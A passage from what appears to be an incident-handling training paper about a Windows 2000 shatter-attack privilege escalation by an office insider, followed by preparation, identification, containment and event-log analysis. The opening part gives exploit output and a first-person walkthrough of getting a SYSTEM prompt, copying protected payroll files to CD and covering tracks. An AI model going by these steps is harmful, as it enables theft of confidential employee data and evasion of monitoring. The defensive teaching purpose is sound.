  Sending callback, window 0x39008a, address 0x525510
  Sending callback, window 0x39008a, address 0x5932e0
  Sending callback, window 0x39008a, address 0x6010b0
  Sending callback, window 0x39008a, address 0x66ee80
  Sending callback, window 0x39008a, address 0x6dcc50
  Sending callback, window 0x39008a, address 0x74aa20
  Sending callback, window 0x39008a, address 0x7b87f0
  Sending callback, window 0x39008a, address 0x8e0046
  WM_SETTEXT failed, window 100240
  WM_SETTEXT failed, window 260130
  WM_SETTEXT failed, window 120096
  WM_SETTEXT failed, window 24001c
  WM_SETTEXT failed, window 100256
  WM_SETTEXT failed, window 5200b4
  WM_SETTEXT failed, window 8e0046
  WM_SETTEXT failed, window 1f017e
  WM_SETTEXT failed, window f0258
  WM_SETTEXT failed, window 5101a8
  WM_SETTEXT failed, window 170186
  WM_SETTEXT failed, window 100240
  WM_SETTEXT failed, window 390072
  WM_SETTEXT failed, window 100268
  WM_SETTEXT failed, window 110238
  WM_SETTEXT failed, window b026c
  WM_SETTEXT failed, window 110246
  WM_SETTEXT failed, window 150082
  WM_SETTEXT failed, window 1c00d6
  WM_SETTEXT failed, window 300098
  WM_SETTEXT failed, window 1f011e
  WM_SETTEXT failed, window 200152
  WM_SETTEXT failed, window 1e0038
Sending callback, window 0x10020, address 0x300000
Sending callback, window 0x10020, address 0x36ddd0
Sending callback, window 0x10020, address 0x3dbba0
Sending callback, window 0x10020, address 0x449970
Command sent...
Window enumeration successful!
The command was sent successfully.
If it didn't work, you did something wrong - this program worked :)

10. And then my screen looks something like this:

Pay special attention to those ESS Windows – Oh! It looks like they have lost their captions! That’s because my exploit resets Windows headers to 0.

11. Now I have a system prompt, so here is what I do....

**Keeping Access**

Provided I don’t close the window giving me the prompt, I maintain the access of this window – which in this case is “System”. (This is because you see system32>). So, I continue
12. at the prompt provided type:  
   \texttt{cd c:\Protected}

   this will give me the prompt that follows:
   \texttt{c:\Protected>}

13. Then I type dir

Where once I could not even see the files, I now have a list of what I want. These dated Excel spreadsheets are probably the payroll tracking – and maybe I want to see the other evaluations probably filed in that Reviews directory to see how mine compares.

14. I may not want to read them here. But I can’t make a writable CD from the command prompt. So I go to my desktop Windows Explorer (without closing my command prompt window!) and create a file at c:\ called “my file”. I return to my command prompt window and I pop in a Writable CD to the drive then type \texttt{xcopy * c:\myfile /s /e /t}

This basic command tells the machine to copy all of the files and subdirectories that you see here, including the empty ones, and retain the directory structure to c:\myfile.

15. I then fire up my CD Writing application, select “Create Data Disk” and copy the myfile directory to the CD.

16. I take out my writable CD, and I am done! I can now peruse the files at my own leisure at home. I could have used e-mail to send them to myself, but that might be monitored on the network.

Total time to target: under 4 minutes. (This will vary depending on options set in Smashing and the type of CD burner employed. The main length of time to finish this scenario was the burning of the CD.)
Covering my Tracks:

It’s a local system. I have not accessed anything over the network, I have only used local tools. I delete the C:\Myfile directory. I empty the recycle bin. I close my “targeted” window, and go back to working on the memo I’m supposed to be typing. There are very little tracks to cover!

I take the files home and start reviewing: not only am I not paid nearly what the other assistants make, the CEO’s Administrative Assistant is paid twice what the other Assistant is paid. The Financial team’s payscale also seems out of whack. Looking at the vacation sheets, I note that several people also get an extra week of vacation. I wonder if anyone knows this besides me?

The next day, I ask around. It turns out that very few of the “victims” who have less pay or less vacation knew that their situation was not on par with everyone else’s. Now there seemed to be a lot of closed door meetings occurring with supervisors. I don’t care, it’s Friday, and I am going home.

The Incident Handling Process

Now the system has been compromised. What happens now? The incident handling process includes six phases – preparation, identification, containment, eradication, recovery and follow-up/lessons learned. Along the way, communication with the CEO will be a vital component of the investigation. In a case like this, where the primary incident handler is not a member of the company, the CEO and Network Administrator may make difficult decisions based on my recommendations. It is important that I stay calm, and can respond to their questions and concerns in a competent and collected manner. This will increase their confidence in the cycle and in their own decisions, so I must communicate clearly my positions, but in the end follow their instructions.

Phase 1: Preparation

The preparation phase of handling an incident is used to ensure that the company has the resources to properly respond to an incident. This may include things like warning banners, physical security, incident response plans, and patch rollout practices – anything that can help minimize risks within the organization. While the target organization in the example did not have much in the way of Incident Handling experience, there were some things that they DID do pretty well.

Policy

In late 1999, there were policies and procedures put in place for the operation of the computers and the network. Most of these policies and procedures were fairly generic, coming from templates and resources out of commercially available products:
Included as part of the policy is a Software Policy and Employee Agreement (protection against pirated software), a Electronic Messaging Policy (privacy for corporate messaging and appropriate use of electronic messaging system), a Acceptable Use/Ethics Policy (covers restraint in the consumption of shared resources, gaming, ethical and honest use of company property), and a banner that reminds the users every time they log into the system that the system is “strictly for business purposes” and that “the company retains the right to monitor the content of electronic transmission at random intervals.” In addition, the banner reminds that the information on the system itself may be recorded, read or disclosed for official purposes, and that access or use of the system constitutes consent to the banner. The banner is executed through a batch file in the startup process.

There is a password policy in place (which means that it is written down as part of the Information Policies), but no method of enforcement.

In addition, as part of a (somewhat old) attempt to educate end users, guidelines for employees were provided as part of the Personnel Policy and Handbook that is distributed to each employee, and for which each employee must sign as a term of their continued employment.

There was no official policy for handling computer incidents, other than notifying the CEO and Human Resources (in this case, the CEO’s assistant) in the event of breaches or “situations” involving employees. (In this case, they were following the “unwritten” policy which SANS teaches in class – don’t tell anyone anything!)

The physical security plan consisted of badge authentication into the building.

**People**

A computer network is only as secure as the people working on it. Background checks of employees consisted of calling the references that were provided during the interview process.

The “IT staff” consisted of the Network Administrator, whose duties included maintaining the Windows 2000 server, router, and firewall, as well as all the workstations for the company. He was the “jack of all trades” and maintained the phone systems as well as the copier and fax. In addition, he was the Point of Contact for the ISP, and was responsible for ensuring data integrity and availability through the backup schedule. He wears a pager all the time, serving in perpetual “on call” mode.
Data

The “critical network data” is backed up once a week on Saturday nights to tape. Tapes are in rotation with 5 tapes for each month – each month one tape goes into a safe deposit box and a new tape is entered into the rotation. Storage on-site is done within a fireproof safe. The weekly backups are full backups. There are no daily or incremental backups being done. It is the employee’s responsibility to copy to the server critical files that should be backed up every Friday. For most workstations, this is accomplished through a batch file that copies critical directories to a mapped networked drive.

All machines are connected to their own UPS, due to unpredictable power fluctuations in the area.

Standard system administration practices would include staying abreast of the latest patches for the systems in place. When inquiring about why they were still at SP3 instead of SP4 for Win2K, the answer was that it took too long to download over the shared modem, and that since everything worked well it wasn’t necessary.

Software/Hardware

A full system inventory of both hardware and software was last conducted about 6 months prior to the incident. The company used BSA’s GASP Audit Tool to help them in their inventories. This tool performs baseline inventories of hardware and peripherals, as well as software. Reports from this tool are imported and manipulated into spreadsheets for ongoing maintenance by the Network Administrator.

Communications

The company is small and located on one floor of a single building. In order to alleviate any network emergencies, a call tree was established in which the on-site employee could call the Network Administrator’s pager, who would then respond with a return call.

There is also an “IT Consulting Service” on call that would charge hourly rates for any rapid response to the company required. However, this is the same service that built the hardware, so for hardware support they were a critical part of the communications tree.

Supplies

Since there was no Incident Handling Process documented, we relied on the supplies that the Network Admin had on hand: several portable USB flash drives, a portable printer, and Ghost
In addition, we had available anything that I had in my “jump kit”. This kit is what Incident Handlers use at the first sign of an Incident – they can grab it and know that it is fully stocked.

The following is standard inventory:

<table>
<thead>
<tr>
<th>Item</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>Panasonic RQ-L11 Mini Tape recorder, 10 blank tapes, 8 spare batteries</td>
<td>Incident Tracking and recording of actions taken</td>
</tr>
<tr>
<td>Two blank notebooks, 4 spare pens</td>
<td>Each incident gets its own notebook assigned for analysts and handler’s notes</td>
</tr>
<tr>
<td>Canister of blank writable CDs and jewel cases</td>
<td>Evidence collection &amp; backup</td>
</tr>
<tr>
<td>Blank diskettes</td>
<td>Evidence collection &amp; backup</td>
</tr>
<tr>
<td>USB pen device</td>
<td>Evidence collection &amp; backup</td>
</tr>
<tr>
<td>Portable CD writer, software, associated cables</td>
<td>Evidence collection &amp; backup</td>
</tr>
<tr>
<td>Symantec’s Ghost and images of production workstations</td>
<td>For rebuilding Windows 2000 workstations</td>
</tr>
<tr>
<td>Windows 2000 Resource Kit</td>
<td>For information on Windows 2000/associated source code/etc.</td>
</tr>
<tr>
<td>4 port hub with patch cables and one crossover cable</td>
<td>For connectivity to machines as needed</td>
</tr>
<tr>
<td>Basic Toolkit (contents described below)</td>
<td>For fixing</td>
</tr>
<tr>
<td>Basic Connector Bag (contents described below)</td>
<td>For connectivity issues on the fly</td>
</tr>
<tr>
<td>Windows diskette with basic tools (same as command line processes on CD)</td>
<td>For accessing Windows machines</td>
</tr>
<tr>
<td>Incident Response Forms</td>
<td>Standard Incident Response Procedure</td>
</tr>
<tr>
<td>Plastic bags, ties, latex gloves</td>
<td>Evidence preservation</td>
</tr>
</tbody>
</table>

**Basic Connector Bag Contents**
- Auto-retract modem cord
- Auto-retract network/ISDN cord
- Punchdown tool with both 66 and 110 blades
Scissors  
Wire Strippers  
Toner  
Digital line tester  
Jack splitter  
RJ45 Connectors  
Female-to-female RJ-45 connectors  
Cabling guide to pinouts

### Basic Toolkit Contents

- #1 Phillips Screwdriver  
- #0 Phillips Screwdriver  
- 3/16" Nut Driver  
- 1/4" Nut Driver  
- 3/16" Flat Screwdriver  
- 1/8" Flat Screwdriver  
- IC Extractor  
- Large tweezers  
- Small tweezers  
- 5" Needle Nose Pliers  
- Reversible Handle with #10 and #15 Reversible Torx Bit  
- Spare Parts Box with jumpers, washers, hex and flat screws  
- Small dentists mirror (for looking behind small spaces)  
- Small magnet with handle  
- Flashlight with extra batteries  
- Three Prong Holder

### Windows Response CD

<table>
<thead>
<tr>
<th>Program</th>
<th>Description</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>cmd.exe</td>
<td></td>
<td></td>
</tr>
<tr>
<td>\other\oldmsdos</td>
<td>Old DOS commands</td>
<td>off of trusted Win95 CD</td>
</tr>
<tr>
<td>netstat</td>
<td>Display network status, including routing and sockets</td>
<td>from Microsoft Win2K Resource Kit</td>
</tr>
<tr>
<td>nbstat</td>
<td>Lists recent NetBIOS activity</td>
<td>from Microsoft Win2K Resource Kit</td>
</tr>
<tr>
<td>rmsshare</td>
<td>Display shares accessible on remote machine</td>
<td>from Microsoft Win2K Resource Kit</td>
</tr>
<tr>
<td>kill</td>
<td>Stops running processes</td>
<td>from Microsoft Win2K Resource Kit</td>
</tr>
<tr>
<td>doskey</td>
<td>Displays command history</td>
<td>from Microsoft Win2K Resource Kit</td>
</tr>
</tbody>
</table>

### Tools & Security Vulnerability CD

<table>
<thead>
<tr>
<th>Snort</th>
<th>Open-source</th>
<th><a href="http://www.snort.org">www.snort.org</a></th>
</tr>
</thead>
<tbody>
<tr>
<td>Software</td>
<td>Description</td>
<td>URL</td>
</tr>
<tr>
<td>-------------------------</td>
<td>------------------------------------------------------------------------------</td>
<td>----------------------------</td>
</tr>
<tr>
<td>nmap</td>
<td>Scan systems for open ports</td>
<td><a href="http://www.insecure.org/nmap">http://www.insecure.org/nmap</a></td>
</tr>
<tr>
<td>WinZip</td>
<td>for unzipping compressed files</td>
<td><a href="http://www.winzip.com/ddchomea.htm">http://www.winzip.com/ddchomea.htm</a></td>
</tr>
<tr>
<td>ESS-Code</td>
<td>for MIME-decoding, UUDecoding files if necessary</td>
<td>Hard to find these days – a throwback to earlier times!</td>
</tr>
<tr>
<td>Perl</td>
<td>Scripting language</td>
<td><a href="http://www.activestate.com/Products/ActivePerl/">http://www.activestate.com/Products/ActivePerl/</a></td>
</tr>
<tr>
<td>Netcat</td>
<td>Remote analysis tool</td>
<td><a href="http://www.atstake.com">http://www.atstake.com</a></td>
</tr>
</tbody>
</table>

In addition to the jump bag, I have my own laptop which is stocked with it’s own modem/LAN/wireless ports, and comes stocked with my own fully patched operating system, virus scanner, Microsoft Office, and Microsoft Tool Kit.
**Documentation**

This is where the network diagram, the information on the software and hardware inventory, and policies became very important! In order to quickly assess a network, up to date information on the components that is easily accessible is critical. The fact that the hardware and software inventories were kept in soft copy were an asset because electronic access to the systems were not required to get the high-level view of the network.

Documentation of the ISP Technical contact is requested in case that it is needed.

In addition, we followed standard chain-of-custody procedure, which included documenting:

- Who, How, and Where of collection
- Who took possession of the evidence
- How it was stored and protected
- Who, How, and Why of removal from storage

Documentation in a notebook is started. In general, we will document the sequence of actions taken and who performed them.

Right now, we record

- What time we arrive on site
- Systems currently on are inventoried, including their current level of connectivity, their network address, the system name, the MAC address, and the location of each system

Further recording will continue throughout the incident handling process. To call attention to something in particular, the notes taken will be indicated in blocks throughout the phases.

---

**Phase 2: Identification**

This phase is when an organization determines whether an incident is, in fact, occurring. A quick assessment of situations where something unusual happens is necessary to determine if additional investigation is necessary. The security of a system is determined by early detection and proper reaction.

Unfortunately, the identification of an insider threat in many cases occurs after the threat has come and gone. In this case, the posting of “confidential” data in the public eye became the notification that something was wrong. During this phase, an assessment of the threat is done to discover what the impact to the company may be. I was called on a Friday – could I stop by Monday to assess the situation? No. It would be Friday night. Even if the data exposure was a contained event, it is time to see what the scope of the incident is. Since the CEO and Network Administrator already knew about the data revelations (as did the entire company), nobody was surprised that an investigation was underway.
As the data in question is fairly self-contained (it was either retrieved from a backup CD or from the victim machine) it is time to do an internal threat assessment.

During the Incident Handling process, the people involved are: the CEO, the Network Administrator, and the Admin Assistant to the CEO, in addition to the Incident Handler. All three of the people involved are trusted individuals at the company who have proven again and again their dedication to the company. They are the company “insiders” who are the ones the CEO (and owner) consider to be the secure employees. None of them are a suspect.

**Threat Assessment**

*Have background checks been performed on all employees?*  
(None beyond what references say about them.)

*What are the work habits of the employees?*  
(Every day Receptionist fills in for Assistant from 12 – 1:00 for lunch. Assistant logs out of the machine and Receptionist logs in. Fridays, Assistant backs up data and leaves CD on CEO’s desk. If the CEO remembers to take the CDs, they are in his car or his office at home; but sometimes they remain on his desk for a few days, especially if he is traveling at the time.)

*An after-hours visit is performed to see what is on/around desks of the employees.*  
Nothing is out of the ordinary. There don’t seem to be any removable storage devices, and there is no actual suspect at this time.

*An inventory of backup CDs is performed to ensure that all are where they should be - the data posted included the very latest data – which means the last CD needs to have been the point of entry if it was retrieved from the backups. All CDs are accounted for at the CEOs house. He remembers taking it home on Friday evening.*

It’s time to review the target machine and the network to find holes and access points to the data.

**Current activity on the systems needs to be recorded.**
Each currently connected system runs `netstat -an` and the results are printed to a file to evaluate current connections. All open files on the systems are recorded and task manager is opened: all open applications and processes for each machine is recorded.

Task manager can be opened by right clicking on the status bar at the bottom of a Windows system and selecting "Task Manager." This will bring up a window, and by clicking on the tabs at the top of the screen, certain information can be discovered. In this case, we simply took screen shots of each of the tabs on the running systems, which resulted in records similar to this:
All screenshots are recorded with system name, location, time and date of screen shot,
as well as the person recording the information. They are saved to a file and one copy of the file is burned to CD and locked up with the backup tapes.

The following checklist was used to evaluate the current state of the systems – was there evidence of any of the following?

- Unsuccessful logons
- After hours activity
- Modification or deletion of data
- New user accounts
- New files or filenames

Identification phase would typically take place at the perimeter – firewall logs are investigated for any unusual activity. Host detection is also a place to start, although there are no Host IDS or Network IDS in place. However, the Network Administrator did take some steps on the CEO and the Admin's computer that were different than the standard desktop scenario – the auditing of Windows logs and transactions tracked had been set to success/failure for most events. This means that the logs had additional information than what would be typically found on a desktop. Hooray!

Investigation of suspect issues

Since the operating system of the machines are at SP3 of Windows 2000, an analysis of vulnerabilities that would be common to all machines needs to be done. Vulnerabilities are referenced off of CVE codes, BugTraq database and Microsoft’s release notes on the SP 4. The platform affected by these vulnerabilities is prevalent throughout the organization. According to Microsoft’s List of Bugs That Are Fixed in Windows 2000 Service Pack 4, there are 679 bug fixes in Service Pack 4. Since all the machines are a rev level behind, this seems like a good place to start. Once the Windows investigation is over, other software, such as VirusScan will be checked against the BugTraq database.

Of the bug fixes, about 100 show up in the “security” category. However, it is important to check the entire list since not everything security related shows in this category. The list is “Googled” by the Admin Assistant to find the appropriate references and decide whether the bugs represent vulnerabilities on the system. She makes a quick decision as to whether it applies to our environment, checking key words within descriptions and marking Y or N or ? on the list. The containment phase (phase two) starts and continues throughout the research portion. See Appendix B for the matrix of possible entrant vulnerabilities that were flagged. When appropriate vulnerabilities are found, the basic questions are asked: what are the affects of this vulnerability, does it have a remote access point, and is there code available to the public at large to exploit the vulnerability?
In addition, the ability to identify the entrant point became more obvious as the company went through steps to contain the incident.

**Phase 3: Containment**

The containment phase is to ensure the incident cannot get worse. Can additional data be accessed? Is the access still going on? While performing this phase, we will use some of the tools listed in the jumpkit during the Preparation phase.

**Containment: Connections**

The firewall status is checked and it shows no current connections. It is after hours, and there should be no external access from the Internet, so the firewall is shut down to ensure that no incoming/outgoing connections are activated. Research on vulnerabilities is conducted on dial-up analog lines off laptop computers not connected to the LAN, so there is no way for them to affect the evidence that may be in play.

Record the decision to disconnect the firewall and the time it was disconnected

**Containment: Physical Access**

It is after-hours, and the area is secured. The only people allowed in/out at this time are the Incident Handler, the Network Administrator, the Admin Assistant, and the CEO.

**Containment: Backing it all up**

The network is now contained, so backups of all functioning systems are conducted with Ghost to a USB drive. There are three systems currently powered on: the CEO’s desktop, the Admin’s desktop, and the Network Administrator’s laptop. We’ll start the investigation with those, since those are on – everything else we can power on and backup individually as the incident progresses. Two backups of each system are taken: one for evidence – these are logged and immediately locked in the firesafe. The second backup is in case our investigation leads to a “self destruct” or some effort of the attacker to hide tracks on the system. The second backup is done to the network server. In addition two backups are made of the server using the backup system in place: one is placed with the evidentiary backups, the other is maintained for our use in the investigation.

Now we have three USB backups, a tape backup, and 3 backups on the network server.

Record system backup statistics: who performed, date and time of start and stop, where
Further Investigation

First, the “owners” of the three systems under evaluation were questioned:

- When was the last time their passwords were changed?
  Each of them responded within the past 30 days. Passwords are the primary authentication method within the office, it is possible something was compromised. Each user is asked to change passwords, and the Network Admin is requested to change the Administrator passwords on these systems as well.
- What shares are open?
  The Network Admin has shares open to the fileserver. Both the CEO and the Admin Assistant have the share open to their own backup directory on the server.
- What can the systems tell us?
  Since the Network Admin had additional audit logs available on the systems currently powered on, all those audit logs are immediately saved to a file and printed – one set of printouts is logged as evidence and stored in the firesafe. Because they have been saved to a file, we ensure that they do not rotate and eliminate the risk of losing data during the investigation. The logs are printed to a local printer via the portable printer, if there is no printer currently attached to the machines.
- Had anything unusual happened recently that would lead them to suspect their machines were the entry point?
  No. The Network Administrator hadn’t even gone to lunch in days. The CEO’s machine had been powered down until Friday, he had been traveling. The Admin Assistant had been at her desk almost all day all week, except for lunchtimes when the receptionist filled in. None of them had noted unusual behavior on the systems – no account lockouts, no odd user names in the window at logon, no system slowness or unusual behavior.

Record system log information: who performed the print and save functions, date and time, where logs were sealed and stored, who handled.

What Windows Event Log Reveals

Reviewing the logs was not very interesting until we noted the following strange entries in the Security logs from the Admin Assistant machine:

<table>
<thead>
<tr>
<th>Event Type</th>
<th>Date/Time</th>
<th>Domain</th>
<th>Source</th>
<th>Event ID</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Failure Audit</td>
<td>2/5/2004 12:04:22 PM</td>
<td>Security</td>
<td>Privilege Use</td>
<td>578</td>
<td>Guest</td>
</tr>
<tr>
<td>Failure Audit</td>
<td>2/5/2004 12:04:21 PM</td>
<td>Security</td>
<td>Privilege Use</td>
<td>578</td>
<td>Guest</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004 12:03:40 PM</td>
<td>Security Object Access 560 SYSTEM</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004 12:03:40 PM</td>
<td>Security Object Access 562 SYSTEM</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004 12:03:40 PM</td>
<td>Security Object Access 560 SYSTEM</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004 12:03:40 PM</td>
<td>Security Object Access 562 SYSTEM</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004 12:03:28 PM</td>
<td>Security Logon/Logoff 538 Meg</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Hmmm... wasn’t GUEST supposed to be logged on at this time (during lunch?) What is all this privileged use and object access by SYSTEM during that time?

Further investigation into the event log found the following details associated with the events. This is done by opening the Event log in the windows and double-clicking on each event in order:

```
Event Type: Failure Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:02:38 PM
User: INS-7500\Guest
Computer: INS-7500
Description:
Object Open:
 Object Server: Security
 Object Type: File
 Object Name: C:\Protected
 New Handle ID: -
 Operation ID: {0,313845}
 Process ID: 1040
 Primary User Name: Guest
 Primary Domain: INS-7500
 Primary Logon ID: (0x0,0x41DC8)
 Client User Name: -
 Client Domain: -
 Client Logon ID: -
 Accesses: READ_CONTROL
              SYNCHRONIZE
              ReadData (or ListDirectory)
              ReadEA
              ReadAttributes

Privileges: -
```

```
Event Type: Failure Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:02:39 PM
User: INS-7500\Guest
Computer: INS-7500
Description:
Object Open:
```
Object Server: Security
Object Type: File
Object Name: C:\Protected
New Handle ID: -
Operation ID: {0,314497}
Process ID: 1040
Primary User Name: Guest
Primary Domain: INS-7500
Primary Logon ID: (0x0,0x41DC8)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses SYNCHRONIZE
ReadData (or ListDirectory)

Privileges -

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:18 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Object Open:
  Object Server: Security
  Object Type: File
  Object Name: C:\Protected
  New Handle ID: 24
  Operation ID: {0,316558}
  Process ID: 284
  Primary User Name: INS-7500$
  Primary Domain: WORKGROUP
  Primary Logon ID: (0x0,0x3E7)
  Client User Name: -
  Client Domain: -
  Client Logon ID: -
  Accesses SYNCHRONIZE
    Execute/Traverse

Privileges -

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:37 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Object Open:
  Object Server: Security
  Object Type: File
  Object Name: C:\Protected
  New Handle ID: 96
  Operation ID: {0,316811}
  Process ID: 284
  Primary User Name: INS-7500$
  Primary Domain: WORKGROUP
  Primary Logon ID: (0x0,0x3E7)
  Client User Name: -
  Client Domain: -
  Client Logon ID: -
  Accesses SYNCHRONIZE
    ReadData (or ListDirectory)
Privileges

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 562
Date: 2/5/2004
Time: 12:03:37 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Handle Closed:
Object Server: Security
Handle ID: 96
Process ID: 284

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:37 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Object Open:
Object Server: Security
Object Type: File
Object Name: C:\Protected
New Handle ID: 96
Operation ID: {0,316812}
Process ID: 284
Primary User Name: INS-7500$
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses
Synchronize
ReadData (or ListDirectory)

Privileges

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 562
Date: 2/5/2004
Time: 12:03:37 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Handle Closed:
Object Server: Security
Handle ID: 24
Process ID: 336

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:37 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Object Open:
Object Server: Security
Object Type: File
Object Name: C:\Protected
New Handle ID: 24
Operation ID: {0,316841}
Process ID: 336
Primary User Name: INS-7500$
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses  SYM
cHRONIZE
Execute/Traverse

Privileges -

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:39 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Object Open:
Object Server: Security
Object Type: File
Object Name: C:\Protected\april.xls
New Handle ID: 308
Operation ID: {0,317001}
Process ID: 584
Primary User Name: INS-7500$
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses  READ_CONTROL
SYM
cHRONIZE
ReadData (or ListDirectory)  
ReadAttributes  

Privileges  SeBackupPrivilege  

Event Type: Success Audit  
Event Source: Security  
Event Category: Object Access  
Event ID: 560  
Date: 2/5/2004  
Time: 12:03:39 PM  
User: NT AUTHORITY\SYSTEM  
Computer: INS-7500  
Description: 

Object Open:  
Object Server: Security  
Object Type: File  
Object Name: C:\Protected\april.xls  
New Handle ID: 308  
Operation ID: {0,317001}  
Process ID: 584  
Primary User Name: INS-7500$  
Primary Domain: WORKGROUP  
Primary Logon ID: (0x0,0x3E7)  
Client User Name: -  
Client Domain: -  
Client Logon ID: -  
Accesses READ_CONTROL  
SYNCHRONIZE  
ReadData (or ListDirectory)  
ReadAttributes  

Privileges  SeBackupPrivilege  

Event Type: Success Audit  
Event Source: Security  
Event Category: Object Access  
Event ID: 560  
Date: 2/5/2004  
Time: 12:03:39 PM  
User: NT AUTHORITY\SYSTEM  
Computer: INS-7500  
Description: 

Object Open:  
Object Server: Security  
Object Type: File  
Object Name: C:\Protected\april.xls  
New Handle ID: 308  
Operation ID: {0,317002}  
Process ID: 584  
Primary User Name: INS-7500$  
Primary Domain: WORKGROUP  
Primary Logon ID: (0x0,0x3E7)  
Client User Name: -  
Client Domain: -  
Client Logon ID: -  
Accesses READ_CONTROL  
SYNCHRONIZE  
ReadData (or ListDirectory)  
ReadAttributes  

Privileges  SeBackupPrivilege  

Event Type: Success Audit  
Event Source: Security  
Event Category: Object Access  
Event ID: 560  
Date: 2/5/2004
Time: 12:03:39 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description: 
Object Open:
  Object Server: Security
  Object Type: File
  Object Name: C:\Protected\april.xls
  New Handle ID: 308
  Operation ID: {0,317003}
  Process ID: 584
  Primary User Name: INS-7500$
  Primary Domain: WORKGROUP
  Primary Logon ID: (0x0,0x3E7)
  Client User Name: -
  Client Domain: -
  Client Logon ID: -
  Accesses
    READ_CONTROL
    SYNCHRONIZE
    ReadData (or ListDirectory)
    ReadAttributes

  Privileges
    SeBackupPrivilege

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:39 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description: 
Object Open:
  Object Server: Security
  Object Type: File
  Object Name: C:\Protected\april.xls
  New Handle ID: 308
  Operation ID: {0,317004}
  Process ID: 584
  Primary User Name: INS-7500$
  Primary Domain: WORKGROUP
  Primary Logon ID: (0x0,0x3E7)
  Client User Name: -
  Client Domain: -
  Client Logon ID: -
  Accesses
    DELETE
    READ_CONTROL
    SYNCHRONIZE
    ReadData (or ListDirectory)
    WriteData (or AddFile)
    ReadAttributes
